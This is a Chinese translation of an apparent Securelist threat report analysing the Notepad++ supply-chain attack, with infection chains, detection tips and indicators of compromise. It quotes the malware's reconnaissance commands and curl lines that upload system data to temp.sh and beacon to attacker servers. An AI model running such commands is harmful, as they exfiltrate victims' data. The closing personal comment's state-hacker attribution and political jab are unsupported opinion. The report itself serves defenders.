来源: https://securelist.com/notepad-supply-chain-attack/118708/
介绍
2026年2月2日,广受开发者欢迎的文本编辑器Notepad++的开发商发布声明称,Notepad++的更新基础设施遭到入侵。声明指出,此次入侵是由于托管服务提供商层面的安全事件造成的,该事件发生在2025年6月至9月期间。然而,攻击者一直能够访问内部服务,直至2025年12月。
多条执行链和有效载荷
通过检查与此事件相关的遥测数据,我们惊讶地发现,此次供应链攻击中使用的执行链竟如此独特且各不相同。我们发现,在2025年7月至10月的四个月时间里,已攻破Notepad++的攻击者不断轮换用于分发恶意更新、植入程序下载器以及最终有效载荷的C2服务器地址。
我们观察到总共有三条不同的感染链,旨在攻击大约十几台机器,这些机器分属于:
- 位于越南、萨尔瓦多和澳大利亚的个人;
- 菲律宾的一个政府组织;
- 一家位于萨尔瓦多的金融机构;
- 一家位于越南的IT服务提供商。
尽管观察到的有效载荷种类繁多,但卡巴斯基解决方案能够在攻击发生时立即阻止已识别的攻击。
在本文中,我们描述了我们在 Notepad++ 供应链攻击中观察到的各种感染链,并提供了许多以前未发表的与此相关的 IoC。
链#1——2025年7月下旬至8月初
我们观察到攻击者于 2025 年 7 月下旬首次部署了恶意 Notepad++ 更新程序。该程序托管在 http://45.76.155.202/update/update.exe。值得注意的是,VirusTotal 平台上首次对该 URL 进行扫描是在 9 月下旬,扫描者是一位来自台湾的用户。
从该 URL 下载的文件update.exe (SHA1:8e6e505438c21f3d281e1cc257abdbf7223b7f5a)是由合法的 Notepad++ 更新程序启动的GUP.exe 。该文件实际上是一个 NSIS 安装程序,大小约为 1 MB。启动后,它会向攻击者发送包含系统信息的心跳包。具体步骤如下:
- 1 该文件创建一个名为“目录”的目录
%appdata%\ProShow ,并将其设置为当前目录;
- 2 它执行 shell 命令
cmd /c whoami&&tasklist > 1.txt ,从而在目录中创建一个包含 shell 命令执行结果的文件%appdata%\ProShow ;
- 3 然后,它
1.txt 通过执行命令将文件上传到 temp[.]sh 托管服务curl.exe -F "[email protected]" -s https://temp.sh/upload ;
- 4
1.txt 接下来,它使用shell 命令发送已上传文件的 URL curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 。可以看出,已上传文件的 URL 是在用户代理内部传输的。
值得注意的是,恶意 Notepad++ 更新的相同行为,特别是启动 shell 命令和使用 temp[.]sh 网站上传文件,已被一位名为 soft-parsley 的用户在 Notepad++ 社区论坛上描述过。 该文件在发送系统信息后,会执行第二阶段的有效载荷。为此,它会执行以下操作:
update.exe
- 将以下文件放入该
%appdata%\ProShow 目录:
ProShow.exe (SHA1:defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
defscr (SHA1:259cd3542dea998c57f67ffdd4543ab836e3d2a3)
if.dnt (SHA1:46654a7ad6bc809b623c51938954de48e27a5618)
proshow.crs (SHA1:da39a3ee5e6b4b0d3255bfef95601890afd80709)
proshow.phd (SHA1:da39a3ee5e6b4b0d3255bfef95601890afd80709)
proshow_e.bmp (SHA1:9df6ecc47b192260826c247bf8d40384aa6e6fd6)
load (SHA1:06a6a5a39193075734a32e0235bde0e979c27228)
- 执行已丢弃的
ProShow.exe 文件。
被释放的ProShow.exe 文件是一个合法的 ProShow 软件,但被滥用以启动恶意载荷。通常情况下,当攻击者试图在合法进程中执行恶意载荷时,他们会采用 DLL 侧加载技术。然而,这次攻击者决定避免使用这种技术——可能是因为该技术如今备受关注。相反,他们利用了 ProShow 软件中一个已知的旧漏洞,该漏洞可以追溯到 2010 年代初期。被释放的文件load 包含一个漏洞利用载荷,该载荷会在文件启动时执行ProShow.exe 。值得注意的是,除了这个载荷之外,%appdata%\ProShow 目录中的所有文件都是合法的。
对攻击载荷的分析表明,其中包含两个 shellcode——一个位于文件开头,另一个位于文件中间。位于文件开头的 shellcode 包含一组无意义的指令,并非设计用于执行——攻击者将其用作攻击载荷的填充字节。攻击者很可能是想通过使用伪造的 shellcode 而非其他内容(例如字符序列0x41 或随机字节)来填充字节,从而迷惑研究人员和自动化分析系统。
第二个 shellcode 存储在文件中间,会在程序ProShow.exe 启动时运行。它会解密 Metasploit 下载器有效载荷,该有效载荷会从 URL https://45.77.31[.]210/users/admin (用户代理:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) 获取 Cobalt Strike Beacon shellcode 并将其启动。
Cobalt Strike Beacon 有效载荷旨在与 cdncheck.it[.]com C2 服务器通信。例如,它使用 GET 请求 URL https://45.77.31.210/api/update/v1 和 POST 请求 URL https://45.77.31.210/api/FileUpload/submit。
随后,在 2025 年 8 月初,我们观察到攻击者使用相同的update.exe 文件下载 URL(观察到的 SHA1 哈希值:90e677d7ff5844407b9c073e3b7e896e078e11cd),以及相同的执行链,通过恶意 Notepad++ 更新来传播 Cobalt Strike Beacon。但是,我们注意到以下差异:
- 在 Metasploit 下载器有效载荷中,下载 Cobalt Strike Beacon 的 URL 设置为
https://cdncheck.it.com/users/admin;
- Cobalt Strike C2 服务器 URL 设置为
https://cdncheck.it.com/api/update/v1 和 https://cdncheck.it.com/api/Metadata/submit。
自 2025 年 8 月初以来,我们没有再发现任何利用 1 号链的感染病例。
链#2——2025年9月中下旬
在恶意更新检测停止一个半月后,我们观察到攻击者于 2025 年 9 月中旬恢复部署这些更新,并使用了另一条感染链。恶意更新仍然通过 http://45.76.155[.]202/update/update.exe URL 分发,并且从该 URL 下载的文件(SHA1 哈希值:573549869e84544e3ef253bdba79851dcde4963a)也是一个 NSIS 安装程序。然而,其文件大小现在约为 140 KB。同样,该文件执行了两个操作:
- 通过执行 shell 命令并将执行结果上传到 temp[.]sh 获取系统信息;
- 将下一阶段的有效载荷投放到磁盘并启动。
关于系统信息,攻击者对其收集方式进行了以下更改:
- 他们将工作目录更改为 %APPDATA%\Adobe\Scripts;
- 他们开始收集更多系统信息详情,并将执行的 shell 命令更改为
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt 。
创建的a.txt 文件与第 1 阶段的情况一样,通过 curl 上传到 temp[.]sh 网站,并将获得的 temp[.]sh URL 传输到相同的 http://45.76.155.202/list 端点,该端点位于 User-Agent 标头中。
至于下一阶段的有效载荷,它已经完全更改。NSIS 安装程序已配置为将以下文件放入 %APPDATA%\Adobe\Scripts 目录:
alien.dll (SHA1:6444dab57d93ce987c22da66b3706d5d7fc226da);
lua5.1.dll (SHA1:2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
script.exe (SHA1:bf996a709835c0c16cce1015e6d44fc95e08a38a);
alien.ini (SHA1:ca4b6fe0c69472cd3d63b212eb805b7f65710d33)。
接下来,它执行以下 shell 命令来启动 script.exe 文件:%APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini 。
%APPDATA%\Adobe\Scripts 除了 之外,目录中的所有文件alien.ini 都是合法的,并且与 Lua 解释器相关。因此,攻击者使用前面提到的命令来启动位于alien.ini 文件中的已编译 Lua 脚本。以下是其反编译结果的屏幕截图: 我们可以看到,这个小脚本用于将 shellcode 放入可执行内存中,然后通过API 函数启动它。
EnumWindowStationsW
启动的 shellcode 就像链 #1 中的 Metasploit 下载器一样,它会从 https://cdncheck.it[.]com/users/admin URL 下载 Cobalt Strike Beacon 有效载荷(同样是 shellcode 的形式)。
Cobalt Strike 有效载荷包含与之前看到的略有不同的 C2 服务器 URL:https://cdncheck.it[.]com/api/getInfo/v1 和 https://cdncheck.it[.]com/api/FileUpload/submit。
涉及链 #2 的攻击一直持续到 9 月底,当时我们又发现了两个恶意update.exe 文件。其中一个文件的 SHA1 哈希值为 13179c8f19fbf3d8473c49983a199e6cb4f318f0。通过该文件传播的 Cobalt Strike Beacon 有效载荷配置为使用与 9 月中旬观察到的相同的 URL,但攻击者改变了收集系统信息的方式。具体来说,攻击者将用于此目的的单个 shell 命令拆分cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt 为多个命令:
cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt
值得注意的是,soft-parsley 用户之前已经在 Notepad++ 社区论坛上记录过相同的命令序列。
另一个update.exe 文件的 SHA1 哈希值为 4c9aac447bf732acc97992290aa7a187b967ee2c。攻击者利用该哈希值执行以下操作:
链#3 — 2025年10月
2025年10月初,攻击者再次改变了感染链。他们还更改了用于分发恶意更新的C2服务器,观察到的更新URL为http://45.32.144[.]255/update/update.exe。下载的有效载荷(SHA1:d7ffd7b588880cf61b603346a3557e7cce648c93)仍然是一个NSIS安装程序,但与前两次感染链不同的是,该安装程序不包含系统信息发送功能。它只是将以下文件释放到指定%appdata%\Bluetooth\ 目录:
BluetoothService.exe ,一个合法的可执行文件(SHA1:21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
log.dll ,一个恶意 DLL(SHA1:f7910d943a013eede24ac89d6388c1b98f8b3717);
BluetoothService ,加密的 shellcode(SHA1:7e0790226ea461bcc9ecd4be3c315ace41e1c122)。
这条执行链依赖于文件的侧载log.dll ,该文件负责将加密的BluetoothService shellcode启动到BluetoothService.exe 进程中。值得注意的是,此类执行链常被讲中文的威胁行为者使用。Rapid7已经描述过这条特定的执行链,其中最终捕获的有效载荷是定制的 Chrysalis 后门。
与之前的攻击链不同,攻击链 #3 并未直接加载 Cobalt Strike Beacon。然而,Rapid7 在其文章中声称,C:\ProgramData\USOShared 在对一台感染了 Notepad++ 供应链攻击的机器进行事件响应时,他们还观察到 Cobalt Strike Beacon 有效载荷被部署到该文件夹中。虽然 Rapid7 没有详细说明该文件是如何被投放到受害机器上的,但我们可以指出该 Beacon 有效载荷与攻击链 #1 和 #2 中观察到的 Beacon 有效载荷之间的以下相似之处:
- 1 在这两种情况下,Beacon 都是通过 Metasploit 下载器 shellcode 加载的,使用的 URL 类似(Rapid7 payload 为 api.wiresguard.com/users/admin,chain #1 和 chain #2 payload 为 cdncheck.it.com/users/admin 和 http://45.77.31[.]210/users/admin);
- 2 Beacon 配置使用 XOR 密钥进行加密
CRAZY ;
- 3 Cobalt Strike Beacon 通信使用类似的 C2 服务器 URL(例如,Rapid7 有效载荷使用 api.wiresguard.com/api/FileUpload/submit,链 #1 有效载荷使用 https://45.77.31[.]210/api/FileUpload/submit)。
链#2回归及URL变更——2025年10月
2025 年 10 月中旬,我们观察到攻击者恢复部署链 #2 有效载荷(SHA1 哈希值:821c0cafb2aab0f063ef7e313f64313fc81d46cd),使用的 URL 为:http://95.179.213[.]0/update/update.exe。尽管如此,该有效载荷仍然使用之前提到的 self-dns.it[.]com 和 safe-dns.it[.]com 域名进行系统信息上传、Metasploit 下载器和 Cobalt Strike Beacon 通信。
2025年10月下旬,我们观察到攻击者开始更改用于恶意更新推送的URL。具体而言,攻击者开始使用以下URL:
我们尚未观察到从这些 URL 部署的任何新有效载荷——它们同时使用了 #2 和 #3 执行链。最后,我们也没有发现任何从 2025 年 11 月开始部署的有效载荷。
结论
Notepad++ 是一款被众多开发者使用的文本编辑器。因此,攻击者一旦能够控制该软件的更新服务器,便可轻易入侵全球知名机构的计算机系统。攻击者竭力避免失去这一感染途径——他们有针对性地传播恶意植入程序,并且技术娴熟,几乎每月都会大幅改变感染链。虽然我们在调查中发现了三条不同的感染链,但我们预计还会发现更多类似的感染链。总结我们的发现,以下是我们识别出的感染链的总体时间线: 感染链的多样性使得检测 Notepad++ 供应链攻击成为一项相当困难且需要创造性的任务。我们建议采用以下方法,从通用到具体,来追踪此类攻击的痕迹:
- 检查系统中是否存在在所有三个已观察到的执行链中都使用过的 NSIS 安装程序部署。例如,可以通过查找与
%localappdata%\Temp\ns.tmp 运行时 NSIS 安装程序创建的目录相关的日志来完成此操作。务必调查每个已识别的 NSIS 安装程序的来源,以避免误报;
- 检查网络流量日志中是否存在对 temp[.]sh 域的 DNS 解析,这在企业环境中并不常见。此外,检查用户代理中嵌入了 temp[.]sh URL 的原始 HTTP 流量请求也很有帮助——这两个步骤都有助于检测链 #1 和链 #2 的部署;
- 检查系统是否存在文章中提到的恶意 shell 命令,例如
whoami ,tasklist 和systeminfo ;netstat -ano
- 使用下面列出的特定 IoC 来识别已知的恶意域名和文件。
妥协的迹象
用于恶意部署 Notepad++ 更新的 URL
:http://45.76.155[.]202/update/update.exe
http://45.32.144[.]255/update/update.exe
http://95.179.213[.]0/update/update.exe
http://95.179.213[.]0/update/install.exe
http://95.179.213[.]0/update/AutoUpdater.exe
系统信息上传 URL
:http://45.76.155[.]202/list
https://self-dns.it[.]com/list
Metasploit 下载器用于部署 Cobalt Strike 信标的 URL
:https://45.77.31[.]210/users/admin
https://cdncheck.it[.]com/users/admin
https://safe-dns.it[.]com/help/Get-Start
恶意 Notepad++ 更新程序投放的 Cobalt Strike Beacon 使用的 URL
:https://45.77.31[.]210/api/update/v1
https://45.77.31[.]210/api/FileUpload/submit
https://cdncheck.it[.]com/api/update/v1
https://cdncheck.it[.]com/api/Metadata/submit
https://cdncheck.it[.]com/api/getInfo/v1
https://cdncheck.it[.]com/api/FileUpload/submit
https://safe-dns.it[.]com/resolve
https://safe-dns.it[.]com/dns-query
此前 Rapid7 已识别出 Chrysalis 后门及其关联的 Cobalt Strike Beacon 有效载荷使用的 URL
:https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
https://api.wiresguard[.]com/update/v1
https://api.wiresguard[.]com/api/FileUpload/submit
先前由 Rapid7 识别出的与上传到多扫描器的 Cobalt Strike Beacon 相关的 URL
:http://59.110.7[.]32:8880/uffhxpSy
http://59.110.7[.]32:8880/api/getBasicInfo/v1
http://59.110.7[.]32:8880/api/Metadata/submit
http://124.222.137[.]114:9999/3yZR31VK
http://124.222.137[.]114:9999/api/updateStatus/v1
http://124.222.137[.]114:9999/api/Info/submit
https://api.wiresguard[.]com/users/system
https://api.wiresguard[.]com/api/getInfo/v1
恶意 updater.exe 哈希值
:8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
821c0cafb2aab0f063ef7e313f64313fc81d46cd
恶意辅助文件的哈希值:
06a6a5a39193075734a32e0235bde0e979c27228 — 加载
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 — 加载
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 — alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd — alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 — alien.ini
恶意文件哈希值,此前已被 Rapid7 识别:
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce
恶意文件路径
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService
个人点评:
这次的攻击事件闹得非常大,一是涉及到政治,二是因为notepad++ 2003年就开发出来,那还是windows xp时代,积累到今天的使用者非常非常多,更关键的是,都知道是国家级黑客干的,把习主席的名气打出来了